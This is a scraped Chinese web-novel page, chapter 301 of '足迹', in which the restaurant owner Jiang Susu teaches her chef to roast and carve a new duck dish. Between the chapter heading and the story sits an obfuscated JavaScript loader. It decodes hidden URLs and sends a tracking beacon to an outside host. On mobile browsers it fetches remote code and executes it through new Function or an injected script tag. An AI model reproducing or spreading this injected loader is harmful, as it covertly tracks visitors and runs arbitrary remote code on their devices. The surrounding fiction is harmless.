足迹
杜平
登录
关灯
护眼
字体:

第三百零一章 烤鸭(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

这是萧策进入职场的第一次宴请,姜素素十分关注,一回到酒楼就开始张罗,今晚还是安排上火锅,外加一道自己新研制出来的烤鸭。

烤鸭是姜素素最近新推出的,古代的烤炉自然是没法与现代的比较,倒也是姜素素绞尽脑汁让铁匠打造出来的。

“东家,您让小人准备的鸭子已经准备好了。”大厨见姜素素来到,立刻上前请示道,他是一个四十岁的中年人,身材肥胖,长得也很和善。

姜素素看着杀好了以后按照自己的要求用酱汁泡着的鸭子,满意的点头,随后进去把鸭子拿了出来,她今天是要做烤鸭。

这烤炉也是姜素素之前画了图纸让铁匠铺子做出来的。

古代碍于科技水平有限,里面用的是碳,现在要烤鸭子,姜素素让人生了火以后,就把鸭子放在火炉上烤着。

不多时就传出了阵阵诱人的香气。

“东家,这烤鸭也太香了吧!"旁边的大厨也闻着味儿咽了口口水。

“这是我们的新菜色,你要注意掌握时间,千万别烤糊了。”姜素素让人点了一根香在旁边以计时。

听到这是新菜色,方大厨特别认真的听着自家老板传授烤鸭的注意事项。

"你要记得,这个烤鸭不仅仅只是烤香了,还要把它的皮给烤熟,所以你一定要小心再小心,因为这是一道非常考究的技术活儿。"姜素素看着方大厨说。

"我明白,我明白。"方大厨点头哈腰地应道。

"嗯,那就开始吧。"

"好咧!"

待烤熟了鸭子,姜素素用专门的铁架子把烤鸭从烤炉里取出来。

“现在我教你怎么切烤鸭,这也是有讲究的。”姜素素看了看取出来的鸭子,很是满意。

方大厨拿起刀开始切割鸭子上的肉,一边切一边说:“这烤鸭要想好吃,切肉的刀法也是必备技能,因为要让肉和肉之间有最贴合的接触,不然肉的口感会差许多的。"

方大厨看着姜素素斜着刀将烤鸭肉一片一片切下来,不由地惊叹道:"我还以为烤鸭就是整个撕下来呢,没想到这样切才更加美味。"

姜素素笑了笑,说:“这个烤鸭技术我不外传太多人,我们酒楼就只有你才会,能确保每天都做好吗?”

"没问题,这个我还是可以做到的,而且我敢保证一定不会让客人失望。"方大厨拍xiongpu说道。

"嗯,那好,我等着看你的表现。"姜素素点点头,方大厨是董文倩从京城挖来的,对于他的能力,姜素素还是很有信心的。

“好,那以后烤鸭就交给你了,今日开始正式开售,现在烤炉里还有十个鸭子正在烤着,你要看着点,千万别烤焦了,这里的做好了你就去跟掌柜的说一声,我一会儿会跟掌柜的说这个新菜,今天消费在十两银子以上的客人送一份烤鸭。”姜素素把自己的计划说出来。

这烤鸭的成本不低,一般百姓是消费不起的,所以得是高消费人群免费送,其他人想吃的可以单点。